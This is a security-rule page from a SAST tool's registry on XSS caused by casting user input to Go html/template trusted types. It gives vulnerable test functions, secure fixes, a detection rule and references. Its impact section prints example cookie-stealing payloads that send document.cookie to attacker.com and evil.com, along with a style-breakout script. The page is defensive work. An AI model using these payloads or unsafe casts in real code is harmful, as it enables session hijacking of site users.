# GO-XSS-001: XSS via Unsafe html/template Type Conversions

> **Severity:** HIGH | **CWE:** CWE-79, CWE-116 | **OWASP:** A03:2021

- **Language:** Go
- **Category:** Security
- **URL:** https://codepathfinder.dev/registry/golang/security/GO-XSS-001
- **Detection:** `pathfinder scan --ruleset golang/GO-XSS-001 --project .`

## Description

Go's html/template package performs context-aware escaping by default — it tracks
whether a template action appears in an HTML body, attribute, <script> block,
<style> block, or URL context, and applies appropriate escaping automatically.
This is one of Go's strongest built-in security features.

The package defines "trusted type" wrappers that signal "skip escaping, this is
already safe": template.HTML, template.CSS, template.JS, template.JSStr,
template.HTMLAttr, template.URL, and template.Srcset. When a developer casts
user-controlled input to any of these types, the template engine outputs the value
verbatim without escaping — directly enabling XSS.

Go's standard library itself has had five CVEs in html/template between 2023–2026:
CVE-2023-24538 (backtick JS template literal injection, CVSS 9.8), CVE-2023-39318,
CVE-2023-39319 (script context comment handling), and CVE-2026-27142 (meta refresh
URL injection). Developers should not assume html/template is bulletproof — correct
usage (no type conversion of untrusted data) is still required.

Note: text/template performs zero HTML escaping. Using text/template where
html/template is needed is equivalent to writing raw user input into the response.


## Vulnerable Code

```python
# --- file: vulnerable.go ---
// GO-XSS-001 positive test cases — all SHOULD be detected
package main

import (
	"html/template"
	"net/http"
)

func xssTemplateHTML(w http.ResponseWriter, r *http.Request) {
	name := r.FormValue("name")        // source
	safe := template.HTML(name)        // SINK: bypasses auto-escaping
	_ = safe
}

func xssTemplateCSS(w http.ResponseWriter, r *http.Request) {
	style := r.FormValue("style")      // source
	safe := template.CSS(style)        // SINK: CSS injection
	_ = safe
}

func xssTemplateJS(w http.ResponseWriter, r *http.Request) {
	code := r.FormValue("code")        // source
	safe := template.JS(code)          // SINK: JS injection
	_ = safe
}

func xssTemplateURL(w http.ResponseWriter, r *http.Request) {
	link := r.FormValue("url")         // source
	safe := template.URL(link)         // SINK: URL injection
	_ = safe
}

func xssTemplateHTMLAttr(w http.ResponseWriter, r *http.Request) {
	attr := r.FormValue("attr")        // source
	safe := template.HTMLAttr(attr)    // SINK: HTML attribute injection
	_ = safe
}

func xssTemplateViaPath(w http.ResponseWriter, r *http.Request) {
	path := r.URL.Path                 // source: URL path
	safe := template.HTML(path)        // SINK: XSS via path
	_ = safe
}

# --- file: go.mod ---
module example.com/go-xss-001/positive

go 1.21

# --- file: go.sum ---

```

## Secure Code

```python
// SECURE: pass as plain string — html/template auto-escapes correctly
func profileHandler(w http.ResponseWriter, r *http.Request) {
    bio := r.FormValue("bio")
    data := struct{ Bio string }{Bio: bio}
    tmpl.Execute(w, data) // auto-escaped in all contexts
}

// SECURE: allow-list validation before accepting a URL from user input
func linkHandler(w http.ResponseWriter, r *http.Request) {
    href := r.FormValue("href")
    // Only allow https:// URLs to known domains
    parsed, err := url.Parse(href)
    if err != nil || parsed.Scheme != "https" || !isAllowedHost(parsed.Host) {
        href = "/default"
    }
    data := struct{ Href string }{Href: href}
    tmpl.Execute(w, data)
}

// SECURE: for user-generated rich HTML, sanitize with a proper library
// then wrap in template.HTML (the sanitizer guarantees safety)
import "github.com/microcosm-cc/bluemonday"
p := bluemonday.UGCPolicy()
safeHTML := template.HTML(p.Sanitize(userHTML))
tmpl.Execute(w, safeHTML)

// SECURE: additional defense-in-depth — CSP header
w.Header().Set("Content-Security-Policy",
    "default-src 'self'; script-src 'nonce-{RANDOM}'; object-src 'none';")

```

## Detection Rule (Python SDK)

```python
"""GO-XSS-001: XSS via unsafe html/template type conversions."""

from codepathfinder.go_rule import (
    GoHTTPRequest,
    GoGinContext,
    GoEchoContext,
    GoFiberCtx,
    QueryType,
)
from codepathfinder import flows
from codepathfinder.presets import PropagationPresets
from codepathfinder.go_decorators import go_rule


class GoHTMLTemplateTypes(QueryType):
    """html/template unsafe type conversion functions."""
    fqns = ["html/template"]
    patterns = ["template.*"]
    match_subclasses = False


@go_rule(
    id="GO-XSS-001",
    severity="HIGH",
    cwe="CWE-79",
    owasp="A03:2021",
    tags="go,security,xss,template,CWE-79,OWASP-A03",
    message=(
        "User-controlled input flows into a template unsafe type conversion "
        "(template.HTML, template.CSS, template.JS, template.URL, etc.). "
        "These conversions bypass html/template's automatic escaping and can "
        "result in Cross-Site Scripting (XSS). "
        "Remove the explicit type conversion and let html/template escape the data automatically."
    ),
)
def detect_unsafe_template_type():
    """Detect user input flowing into html/template unsafe type conversions."""
    return flows(
        from_sources=[
            GoHTTPRequest.method(
                "FormValue", "PostFormValue", "UserAgent", "Referer", "RequestURI"
            ),
            GoHTTPRequest.attr("Body", "URL.Path", "URL.RawQuery", "Host"),
            GoGinContext.method("Param", "Query", "PostForm", "GetHeader", "GetRawData"),
            GoEchoContext.method("QueryParam", "FormValue", "Param", "PathParam"),
            GoFiberCtx.method("Params", "Query", "FormValue", "Get"),
        ],
        to_sinks=[
            GoHTMLTemplateTypes.method(
                "HTML", "CSS", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"
            ),
        ],
        propagates_through=PropagationPresets.standard(),
        scope="global",
    )
```

## How to Fix

- Never cast user-controlled values to template.HTML, template.CSS, template.JS, template.URL, template.HTMLAttr, template.JSStr, or template.Srcset.
- Use html/template (not text/template) for all HTML output — text/template has zero escaping and is only safe for non-HTML output like plaintext emails.
- For rich HTML content from users, use a dedicated HTML sanitizer (e.g., github.com/microcosm-cc/bluemonday) before wrapping in template.HTML.
- Set a strict Content-Security-Policy header as defense-in-depth.
- Set HttpOnly and SameSite=Lax on session cookies to limit XSS blast radius.
- Keep Go up to date — html/template has had multiple CVEs; always run the latest patch release.

## Security Implications

- **Session Hijacking:** Injected <script>document.location='https://attacker.com?c='+document.cookie</script>
steals the victim's session cookie, providing full account takeover.

- **Credential Harvesting:** DOM manipulation replaces login forms with attacker-controlled forms that
exfiltrate credentials directly to the attacker's server.

- **Malware Distribution:** Stored XSS can silently redirect visitors to drive-by-download pages or
inject crypto miners into every page load on a compromised site.

- **CSRF Token Theft:** Injected JS reads CSRF tokens from the DOM, enabling state-changing requests
as the authenticated victim. Real example: Gogs CVE-2022-32174 used stored XSS
to extract CSRF tokens and escalate victim accounts to admin.

- **CSS Injection via template.CSS:** template.CSS(userInput) can inject legacy IE expression() payloads or close
the style block and open a script block: </style><script>alert(1)</script>.

- **javascript: URL via template.URL:** template.URL only validates the scheme is not obviously dangerous but does not
block javascript: pseudo-protocol in all contexts. Attacker supplies
javascript:fetch('https://evil.com?c='+document.cookie) as a href value.


## References

- [Go html/template package — trusted type documentation](https://pkg.go.dev/html/template)
- [Go html/template source — context-aware escaping design](https://go.dev/src/html/template/doc.go)
- [google/safehtml — escaping escape hatches from html/template](https://pkg.go.dev/github.com/google/safehtml/template)
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [OWASP Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting)
- [CWE-79: Cross-site Scripting](https://cwe.mitre.org/data/definitions/79.html)
- [CWE-79: Improper Neutralization of Input During Web Page Generation — MITRE](https://cwe.mitre.org/data/definitions/79.html)
- [Rob's Go Security Pearls: XSS (independent blog)](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)
- [Calhoun.io: Contextual Encoding in html/template](https://www.calhoun.io/intro-to-templates-p1-contextual-encoding/)
- [CVE-2023-24538 — backtick JS template literal injection](https://github.com/golang/go/issues/59234)
- [CVE-2022-32174 NVD — Gogs stored XSS](https://nvd.nist.gov/vuln/detail/CVE-2022-32174)
- [CodeQL XSS query help for Go](https://codeql.github.com/codeql-query-help/go/go-html-template-escaping-bypass-xss/)
- [MDN: Cross-site scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS)
- [OWASP HTTP Headers Cheat Sheet — CSP](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html)

---

Source: https://codepathfinder.dev/registry/golang/security/GO-XSS-001
Code Pathfinder — Open source, type-aware SAST with cross-file dataflow analysis
